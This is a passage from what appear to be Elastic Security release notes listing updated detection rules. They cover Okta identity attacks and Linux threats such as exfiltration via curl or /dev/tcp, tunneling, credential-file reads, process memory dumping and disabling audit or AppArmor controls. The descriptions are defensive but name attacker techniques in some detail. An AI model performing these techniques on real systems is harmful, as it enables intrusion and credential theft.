Terms](https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule) rule where the `okta.actor.display_name` field value has not been seen in the last 14 days regarding this event. | update | 211 + +|<> | Detects attempts to deactivate an Okta policy. An adversary may attempt to deactivate an Okta policy in order to weaken an organization's security controls. For example, an adversary may attempt to deactivate an Okta multi-factor authentication (MFA) policy in order to weaken the authentication requirements for user accounts. | update | 416 + +|<> | Detects attempts to deactivate a rule within an Okta policy. An adversary may attempt to deactivate a rule within an Okta policy in order to remove or weaken an organization's security controls. | update | 417 + +|<> | Detects attempts to delete an Okta policy. An adversary may attempt to delete an Okta policy in order to weaken an organization's security controls. For example, an adversary may attempt to delete an Okta multi-factor authentication (MFA) policy in order to weaken the authentication requirements for user accounts. | update | 416 + +|<> | Detects attempts to delete a rule within an Okta policy. An adversary may attempt to delete an Okta policy rule in order to weaken an organization's security controls. | update | 416 + +|<> | Detects attempts to modify an Okta network zone. Okta network zones can be configured to limit or restrict access to a network based on IP addresses or geolocations. An adversary may attempt to modify, delete, or deactivate an Okta network zone in order to remove or weaken an organization's security controls. | update | 416 + +|<> | Detects attempts to modify an Okta policy. An adversary may attempt to modify an Okta policy in order to weaken an organization's security controls. For example, an adversary may attempt to modify an Okta multi-factor authentication (MFA) policy in order to weaken the authentication requirements for user accounts. | update | 416 + +|<> | Detects attempts to modify a rule within an Okta policy. An adversary may attempt to modify an Okta policy rule in order to weaken an organization's security controls. | update | 417 + +|<> | Identifies a high number of Okta user password reset or account unlock attempts. An adversary may attempt to obtain unauthorized access to Okta user accounts using these methods and attempt to blend in with normal activity in their target's environment and evade detection. | update | 418 + +|<> | Identifies attempts to revoke an Okta API token. An adversary may attempt to revoke or delete an Okta API token to disrupt an organization's business operations. | update | 415 + +|<> | Detects attempts to deactivate an Okta application. An adversary may attempt to modify, deactivate, or delete an Okta application in order to weaken an organization's security controls or disrupt their business operations. | update | 415 + +|<> | Detects attempts to delete an Okta application. An adversary may attempt to modify, deactivate, or delete an Okta application in order to weaken an organization's security controls or disrupt their business operations. | update | 414 + +|<> | Detects attempts to modify an Okta application. An adversary may attempt to modify, deactivate, or delete an Okta application in order to weaken an organization's security controls or disrupt their business operations. | update | 414 + +|<> | Detects possible Denial of Service (DoS) attacks against an Okta organization. An adversary may attempt to disrupt an organization's business operations by performing a DoS attack against its Okta service. | update | 415 + +|<> | Identifies the first occurrence of an Okta user session started via a proxy. | update | 213 + +|<> | Detects when Okta FastPass prevents a user from authenticating to a phishing website. | update | 313 + +|<> | Correlates the first occurrence of an Okta user session started via a proxy with subsequent Okta security alerts for the same user. Attackers frequently use proxy infrastructure (VPNs, Tor, residential proxies) to mask their origin when using stolen credentials, and their post-authentication activity often triggers additional detection rules. | update | 4 + +|<> | Identifies unauthorized access attempts to Okta applications. | update | 416 + +|<> | Detects when a specific Okta actor has multiple sessions started from different geolocations. Adversaries may attempt to launch an attack by using a list of known usernames and passwords to gain unauthorized access to user accounts from different locations. | update | 313 + +|<> | Detects sign-in events where authentication is carried out via a third-party Identity Provider (IdP) that has not been seen before. Adversaries may add an unauthorized IdP to an Okta tenant to gain persistent access. This rule uses New Terms detection to only alert when a previously unseen IdP is used for authentication, reducing noise from legitimate federated identity providers while highlighting potentially rogue IdP additions. | update | 214 + +|<> | Detects successful single sign-on (SSO) events to Okta applications from an unrecognized or "unknown" client device, as identified by the user-agent string. This activity may be indicative of exploitation of a vulnerability in Okta's Classic Engine, which could allow an attacker to bypass application-specific sign-on policies, such as device or network restrictions. The vulnerability potentially enables unauthorized access to applications using only valid, stolen credentials, without requiring additional authentication factors. | update | 210 + +|<> | Detects when a user reports suspicious activity for their Okta account. These events should be investigated, as they can help security teams identify when an adversary is attempting to gain access to their network. | update | 414 + +|<> | Detects when a user has started multiple Okta sessions with the same user account and different session IDs. This may indicate that an attacker has stolen the user's session cookie and is using it to access the user's account from a different location. | update | 212 + +|<> | Okta ThreatInsight is a feature that provides valuable debug data regarding authentication and authorization processes, which is logged in the system. Within this data, there is a specific field called threat_suspected, which represents Okta's internal evaluation of the authentication or authorization workflow. When this field is set to True, it suggests the presence of potential credential access techniques, such as password-spraying, brute-forcing, replay attacks, and other similar threats. | update | 414 + +|<> | Detects when an administrator role is assigned to an Okta group. An adversary may attempt to assign administrator privileges to an Okta group in order to assign additional permissions to compromised user accounts and maintain access to their target organization. | update | 415 + +|<> | Identifies when an administrator role is assigned to an Okta user or group. Adversaries may assign administrator privileges to compromised accounts to establish persistence, escalate privileges, and maintain long-term access to the environment. This detection monitors for both user-level and group-level administrator privilege grants, which can be used to bypass security controls and perform unauthorized administrative actions. | update | 416 + +|<> | Detects attempts to create an Okta API token. An adversary may create an Okta API token to maintain access to an organization's network while they work to achieve their objectives. An attacker may abuse an API token to execute techniques such as creating user accounts or disabling security rules or policies. | update | 415 + +|<> | Detects attempts to reset an Okta user's enrolled multi-factor authentication (MFA) factors. An adversary may attempt to reset the MFA factors for an Okta user's account in order to register new MFA factors and abuse the account to blend in with normal activity in the victim's environment. | update | 416 + +|<> | Detects multi-factor authentication (MFA) deactivation with no subsequent re-activation for an Okta user account. An adversary may deactivate MFA for an Okta user account in order to weaken the authentication requirements for the account. | update | 420 + +|<> | Detects the creation of a new Identity Provider (IdP) by a Super Administrator or Organization Administrator within Okta. | update | 211 + +|<> | Detects attempts to modify or delete a sign on policy for an Okta application. An adversary may attempt to modify or delete the sign on policy for an Okta application in order to remove or weaken an organization's security controls. | update | 416 + +|<> | Detects a sequence of suspicious activities on Windows hosts indicative of credential compromise, followed by efforts to undermine multi-factor authentication (MFA) and single sign-on (SSO) mechanisms for an Okta user account. | update | 211 + +|<> | A supervised machine learning model (ProblemChild) has identified a suspicious Windows process event with high probability of it being malicious activity. Alternatively, the model's blocklist identified the event as being malicious. | update | 117 + +|<> | A supervised machine learning model (ProblemChild) has identified a suspicious Windows process event with low probability of it being malicious activity. Alternatively, the model's blocklist identified the event as being malicious. | update | 14 + +|<> | This rule monitors for the usage of the most common clipboard utilities on unix systems by an uncommon process parent. Adversaries may collect data stored in the clipboard from users copying information within or between applications. | update | 12 + +|<> | This rule monitors for the usage of the most common audio recording utilities on unix systems by an uncommon process parent. Adversaries may collect audio data from users or systems for a variety of reasons including espionage, credential theft, or reconnaissance. | update | 3 + +|<> | This rule monitors for the usage of the most common video recording or screenshot utilities on unix systems by an uncommon process parent. Adversaries may collect video or screenshot data from users or systems for a variety of reasons including espionage, credential theft, or reconnaissance. | update | 3 + +|<> | Detects execution of curl or wget from processes whose title aligns with **`runc init`**, a common fingerprint for workloads running inside **OCI/runc-backed containers** on Linux hosts instrumented with Auditd Manager. After breaking out of an application container or abusing a privileged workload, attackers often pull ingress tooling (stagers, scripts, implants) or stage exfiltration with minimal HTTP clients. Those utilities are also used benignly in images, so context matters; the `runc init` anchor narrows the signal to the container runtime boundary where unexpected download clients are more worthy of review than the same binaries on a bare-metal admin shell. | update | 3 + +|<> | Detects the use of the AWS CLI with the "--endpoint-url" argument, which allows users to specify a custom endpoint URL for AWS services. This can be leveraged by adversaries to redirect API requests to non-standard or malicious endpoints, potentially bypassing typical security controls and logging mechanisms. This behavior may indicate an attempt to interact with unauthorized or compromised infrastructure, exfiltrate data, or perform other malicious activities under the guise of legitimate AWS operations. | update | 8 + +|<> | This rule monitors for the execution of the cat command, followed by a connection attempt by the same process. Cat is capable of transfering data via tcp/udp channels by redirecting its read output to a /dev/tcp or /dev/udp channel. This activity is highly suspicious, and should be investigated. Attackers may leverage this capability to transfer tools or files to another host in the network or exfiltrate data while attempting to evade detection in the process. | update | 13 + +|<> | This detection rule addresses multiple vulnerabilities in the CUPS printing system, including CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177. Specifically, this rule detects network connections initiated by a child processes of foomatic-rip. These flaws impact components like cups-browsed, libcupsfilters, libppd, and foomatic-rip, allowing remote unauthenticated attackers to manipulate IPP URLs or inject malicious data through crafted UDP packets or network spoofing. This can result in arbitrary command execution when a print job is initiated. | update | 7 + +|<> | This rule detects the use of the "curl" command-line tool with SOCKS proxy options, launched from an unusual parent process. Attackers may use "curl" to establish a SOCKS proxy connection to bypass network restrictions and exfiltrate data or communicate with C2 servers. | update | 8 + +|<> | This rule detects shell executions via Elastic Endpoint. Elastic Endpoint has a built-in response action console that can be used to execute shell commands on compromised systems. | update | 3 + +|<> | This rule detects a high number of egress network connections from an unusual executable on a Linux system. This could indicate a command and control (C2) communication attempt, a brute force attack via a malware infection, or other malicious activity. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. | update | 14 + +|<> | This rule detects the use of git to clone a repository or download files from GitHub using wget or curl, followed by the creation of files in suspicious directories such as /tmp, /var/tmp, or /dev/shm. This behavior may indicate an attempt to download a payload, exploit or tool. | update | 5 + +|<> | This rule monitors for the execution of commands that enable IPv4 and IPv6 forwarding on Linux systems. Enabling IP forwarding can be used to route network traffic between different network interfaces, potentially allowing attackers to pivot between networks, exfiltrate data, or establish command and control channels. | update | 109 + +|<> | This rule monitors for common command line flags leveraged by the Chisel client utility followed by a connection attempt. Chisel is a command-line utility used for creating and managing TCP and UDP tunnels, enabling port forwarding and secure communication between machines. Attackers can abuse the Chisel utility to establish covert communication channels, bypass network restrictions, and carry out malicious activities by creating tunnels that allow unauthorized access to internal systems. | update | 13 + +|<> | This rule monitors for network connections from a kworker process. kworker, or kernel worker, processes are part of the kernel's workqueue mechanism. They are responsible for executing work that has been scheduled to be done in kernel space, which might include tasks like handling interrupts, background activities, and other kernel-related tasks. Attackers may attempt to evade detection by masquerading as a kernel worker process. | update | 11 + +|<> | This rule monitors for the execution of the ProxyChains utility. ProxyChains is a command-line tool that enables the routing of network connections through intermediary proxies, enhancing anonymity and enabling access to restricted resources. Attackers can exploit the ProxyChains utility to hide their true source IP address, evade detection, and perform malicious activities through a chain of proxy servers, potentially masking their identity and intentions. | update | 111 + +|<> | This rule monitors for X11 forwarding via SSH. X11 forwarding is a feature that allows users to run graphical applications on a remote server and display the application's graphical user interface on their local machine. Attackers can abuse X11 forwarding for tunneling their GUI-based tools, pivot through compromised systems, and create covert communication channels, enabling lateral movement and facilitating remote control of systems within a network. | update | 110 + +|<> | This rule monitors for the execution of suspicious linux tools through ProxyChains. ProxyChains is a command-line tool that enables the routing of network connections through intermediary proxies, enhancing anonymity and enabling access to restricted resources. Attackers can exploit the ProxyChains utility to hide their true source IP address, evade detection, and perform malicious activities through a chain of proxy servers, potentially masking their identity and intentions. | update | 114 + +|<> | This rule monitors for a set of Linux utilities that can be used for tunneling and port forwarding. Attackers can leverage tunneling and port forwarding techniques to bypass network defenses, establish hidden communication channels, and gain unauthorized access to internal resources, facilitating data exfiltration, lateral movement, and remote control. | update | 116 + +|<> | This rule detects the use of SSH options that may indicate tunneling or port forwarding on Linux systems. This behavior is commonly associated with malicious activity, such as establishing a port forward, proxy or an encrypted tunnel to exfiltrate data. | update | 6 + +|<> | Detects network connections originating from a binary located in a potentially suspicious location, followed by a file creation event. This behavior is consistent with C2 agents such as Poseidon and Athena, connecting to a C2 framework such as Mythic. The agent polls the C2 for commands through a web request, after which the command gets executed. | update | 2 + +|<> | This rule monitors for potential tunneling and/or port forwarding activity on Linux systems via command line utilities. Attackers may use various tools to create covert communication channels, allowing them to bypass network security measures and maintain persistent access to compromised systems. By leveraging these utilities, attackers can tunnel traffic through legitimate protocols, making detection more challenging. | update | 3 + +|<> | This rule monitors for network connectivity to the internet from a previously unknown executable located in a suspicious directory. An alert from this rule can indicate the presence of potentially malicious activity, such as the execution of unauthorized or suspicious processes attempting to establish connections to unknown or suspicious destinations such as a command and control server. Detecting and investigating such behavior can help identify and mitigate potential security threats, protecting the system and its data from potential compromise. | update | 16 + +|<> | This rule detects when a process executes the curl or wget command with an argument that includes the api.telegram.org domain. This may indicate command and control behavior. | update | 6 + +|<> | Identifies the execution of the EarthWorm tunneler. Adversaries may tunnel network communications to and from a victim system within a separate protocol to avoid detection and network filtering, or to enable access to otherwise unreachable systems. | update | 217 + +|<> | Detects Auditd opened-file reads on sensitive root and cluster paths (Kubernetes token mounts, kubelet and admin kubeconfig, PKI material, shadow, root SSH keys, root cloud CLI and Docker config) when the process looks like common copy or scripting utilities or the binary runs from temp or run staging. User home paths are excluded so file watches stay explicit and aligned with auditd. | update | 2 + +|<> | This rule detects the use of system search utilities like grep and find to search for AWS credentials inside a container. Unauthorized access to these sensitive files could lead to further compromise of the container environment or facilitate a container breakout to the underlying cloud environment. | update | 5 + +|<> | Identifies OpenSSL generating a CN=LinuxTransport certificate or decrypting CMS/PKCS7 payloads with a key that is not the Azure Linux Agent certificate under /var/lib/waagent. Adversaries can scrape WireServer certificates, mint a LinuxTransport identity, and decrypt extension protectedSettings with openssl cms -decrypt or smime -decrypt. | update | 2 + +|<> | Identifies the use of a compression utility to collect known files containing sensitive information, such as credentials and system configurations. | update | 217 + +|<> | Identifies the use of a compression utility to collect known files containing sensitive information, such as credentials and system configurations inside a container. | update | 5 + +|<> | Identifies the execution of the unshadow utility which is part of John the Ripper, a password-cracking tool on the host machine. Malicious actors can use the utility to retrieve the combined contents of the '/etc/shadow' and '/etc/password' files. Using the combined file generated from the utility, the malicious threat actors can use them as input for password-cracking utilities or prepare themselves for future operations by gathering credential information of the victim. | update | 115 + +|<> | This rule monitors for the potential memory dump of the init process (PID 1) through gdb. Attackers may leverage memory dumping techniques to attempt secret extraction from privileged processes. Tools that display this behavior include "truffleproc" and "bash-memory-dump". This behavior should not happen by default, and should be investigated thoroughly. | update | 113 + +|<> | This rule monitors for potential memory dumping through gdb. Attackers may leverage memory dumping techniques to attempt secret extraction from privileged processes. Tools that display this behavior include "truffleproc" and "bash-memory-dump". This behavior should not happen by default, and should be investigated thoroughly. | update | 109 + +|<> | This rule detects when the Node.js runtime spawns a shell to execute the GitHub CLI (gh) command to retrieve a GitHub authentication token. The GitHub CLI is a command-line tool that allows users to interact with GitHub from the terminal. The "gh auth token" command is used to retrieve an authentication token for GitHub, which can be used to authenticate API requests and perform actions on behalf of the user. Adversaries may use this technique to access GitHub repositories and potentially exfiltrate sensitive information or perform malicious actions. This activity was observed in the wild as part of the Shai-Hulud worm. | update | 5 + +|<> | Flags Linux process executions whose arguments reference high-value Kubernetes service-account material, kubeconfig or node PKI paths, or common cloud files, when invoked via typical file-reading utilities or from ephemeral directories. Useful for spotting in-cluster and hybrid credential theft early. | update | 3 + +|<> | This rule detects when a process accesses Kubernetes service account secrets. Kubernetes service account secrets are files that contain sensitive information used by applications running in Kubernetes clusters to authenticate and authorize access to the cluster. These secrets are typically mounted into pods at runtime, allowing applications to access them securely. Unauthorized access to these secrets can lead to privilege escalation, lateral movement and unauthorized actions within the cluster. | update | 5 + +|<> | This rule monitors for manual memory dumping via the proc filesystem. The proc filesystem in Linux provides a virtual filesystem that contains information about system processes and their memory mappings. Attackers may use this technique to dump the memory of a process, potentially extracting sensitive information such as credentials or encryption keys. | update | 5 + +|<> | Identifies multiple consecutive login attempts executed by one process targeting a local linux user account within a short time interval. Adversaries might brute force login attempts across different users with a default wordlist or a set of customly crafted passwords in an attempt to gain access to these accounts. | update | 16 + +|<> | Identifies multiple external consecutive login failures targeting a user account from the same source address within a short time interval. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to these accounts. | update | 12 + +|<> | Identifies multiple internal consecutive login failures targeting a user account from the same source address within a short time interval. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to these accounts. | update | 17 + +|<> | This rule detects potential password spraying attacks via SSH by identifying multiple failed login attempts from a single source IP address targeting various user accounts within a short time frame. Password spraying is a technique where an attacker attempts to gain unauthorized access by trying a few commonly used passwords against many different accounts, rather than targeting a single account with multiple password attempts. | update | 5 + +|<> | Identifies multiple SSH login failures followed by a successful one from the same source address. Adversaries can attempt to login into multiple users with a common or known password to gain access to accounts. | update | 17 + +|<> | Identifies the execution of the mimipenguin exploit script which is linux adaptation of Windows tool mimikatz. Mimipenguin exploit script is used to dump clear text passwords from a currently logged-in user. The tool exploits a known vulnerability CVE-2018-20781. Malicious actors can exploit the cleartext credentials in memory by dumping the process and extracting lines that have a high probability of containing cleartext passwords. | update | 114 + +|<> | Monitors kernel logs for segfault messages from sensitive processes. A segfault, or segmentation fault, is an error that occurs when a program tries to access a memory location that it's not allowed to access, typically leading to program termination. A segfault can be an indication of malicious behavior if it results from attempts to exploit buffer overflows, inject shared objects, or other vulnerabilities in software to execute arbitrary code or disrupt its normal operation. | update | 2 + +|<> | This rule detects the use of system search utilities like grep and find to search for private SSH keys or passwords inside a container. Unauthorized access to these sensitive files could lead to further compromise of the container environment or facilitate a container breakout to the underlying host machine. | update | 5 + +|<> | Identifies a Secure Shell (SSH) client or server process creating a known SSH backdoor log file. Adversaries may modify SSH related binaries for persistence or credential access via patching sensitive functions to enable unauthorized access or to log SSH credentials for exfiltration. | update | 217 + +|<> | Detects potential SSH password grabbing via the use of strace on sshd processes. Attackers may use strace to capture sensitive information, such as passwords, by tracing system calls made by the sshd process. This rule looks for a sequence of events where an sshd process ends followed closely by the start of a strace process. This may be indicative of an attacker attempting to capture SSH credentials. | update | 4 + +|<> | This rule detects Linux Access Control List (ACL) modification via the setfacl command. Attackers may use the setfacl utility to modify file and directory permissions in order to evade detection and maintain persistence on a compromised system. | update | 108 + +|<> | Detects processes attempting to write to AppArmor policy management pseudo-files located under "/sys/kernel/security/apparmor/". These special kernel interfaces are used to load, replace, or remove AppArmor profiles (".load", ".replace", ".remove"). In normal environments, AppArmor policy management is typically performed by administrative tools such as "apparmor_parser" during system initialization or package installation. Direct interaction with these pseudo-files from shell utilities, interpreters, or scripting environments is uncommon and may indicate attempts to modify security policy at runtime. Adversaries may abuse these interfaces to weaken or disable AppArmor protections, introduce malicious profiles, or exploit vulnerabilities in the AppArmor policy parser as part of local privilege escalation chains. | update | 2 + +|<> | Identifies access to AppArmor kernel policy control interfaces through the .load, .replace, or .remove files under /sys/kernel/security/apparmor/. These special files are used to load, modify, or remove AppArmor profiles and are rarely accessed during normal system activity outside of policy administration. Reads or writes to these interfaces may indicate legitimate security configuration changes, but can also reflect defense evasion, unauthorized policy tampering, or the installation of attacker-controlled profiles. This detection is especially valuable on systems where AppArmor policy changes are uncommon or tightly controlled. | update | 2 + +|<> | Identifies events where the AppArmor security module blocked or restricted an operation due to a policy violation. AppArmor enforces mandatory access control policies that limit how processes interact with system resources such as files, network sockets, and capabilities. When a process attempts an action that is not permitted by the active profile, the kernel generates a policy violation event. While these events can occur during normal operation or misconfiguration, they may also indicate attempted privilege escalation, restricted file access, or malicious activity being prevented by the system's security policy. | update | 2 + +|<> | Detects the execution of "apparmor_parser" using the "-o" option to write a compiled AppArmor profile to an output file. This functionality is normally used by system administration tools or package installation scripts when building or loading AppArmor policies. In adversarial scenarios, attackers may use "apparmor_parser" to compile custom AppArmor profiles that can later be loaded into the kernel through AppArmor policy management interfaces. Malicious profiles may weaken security controls, alter the behavior of privileged programs, or assist in exploitation chains involving AppArmor policy manipulation. | update | 2 + +|<> | Adversaries may attempt to disable the Auditd service to evade detection. Auditd is a Linux service that provides system auditing and logging. Disabling the Auditd service can prevent the system from logging important security events, which can be used to detect malicious activity. | update | 107 + +|<> | Adversaries may attempt to disable the iptables or firewall service in an attempt to affect how a host is allowed to receive or send network traffic. | update | 116 + +|<> | Syslog is a critical component in Linux environments, responsible for logging system events and activities. Adversaries may attempt to disable the syslog service to disrupt event logging and evade detection by security controls. | update | 218 + +|<> | This rule detects the deletion of the authorized_keys or authorized_keys2 files on Linux systems. These files are used to store public keys for SSH authentication. Unauthorized deletion of these files can be an indicator of an attacker removing access to the system, and may be a precursor to further malicious activity. | update | 7 + +|<> | Base16 and Base32 are encoding schemes that convert binary data into text, making it easier to transmit and store. This rule monitors for Base16 or Base32 encoding and decoding activity on Linux systems. Attackers may use these encoding schemes to obfuscate malicious payloads, evade detection, and facilitate data exfiltration. | update | 217 + +|<> | This rule leverages ESQL to detect unusual base64 encoding/decoding activity on Linux systems. Attackers may use base64 encoding/decoding to obfuscate data, such as command and control traffic or payloads, to evade detection by host- or network-based security controls. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. | update | 14 + +|<> | This rule monitors for the copying or moving of a system binary. Adversaries may copy/move and rename system binaries to evade detection. Copying a system binary to a different location should not occur often, so if it does, the activity should be investigated. | update | 19 + +|<> | Detects execution of bpftool commands used to detach eBPF programs or links, or to delete or modify eBPF maps. These actions can disable, alter, or interfere with kernel-level instrumentation and enforcement mechanisms implemented through eBPF. In environments relying on eBPF-based networking, observability, or security controls, unexpected use of these operations may indicate defense evasion or runtime tampering. | update | 3 + +|<> | Detects the execution of a shell through Busybox. Attackers may use this technique to execute shells while attempting to evade detection. | update | 2 + +|<> | Detects a file being made immutable using the chattr binary. Making a file immutable means it cannot be deleted or renamed, no link can be created to this file, most of the file's metadata can not be modified, and the file can not be opened in write mode. Threat actors will commonly utilize this to prevent tampering or modification of their malicious files or any system files they have modified for purposes of persistence (e.g .ssh, /etc/passwd, etc.). | update | 218 + +|<> | Monitors for the deletion of the kernel ring buffer events through dmesg. Attackers may clear kernel ring buffer events to evade detection after installing a Linux kernel module (LKM). This activity is commonly observed by intrusions that leverage kernel-level rootkits to maintain persistence on a compromised host. | update | 112 + +|<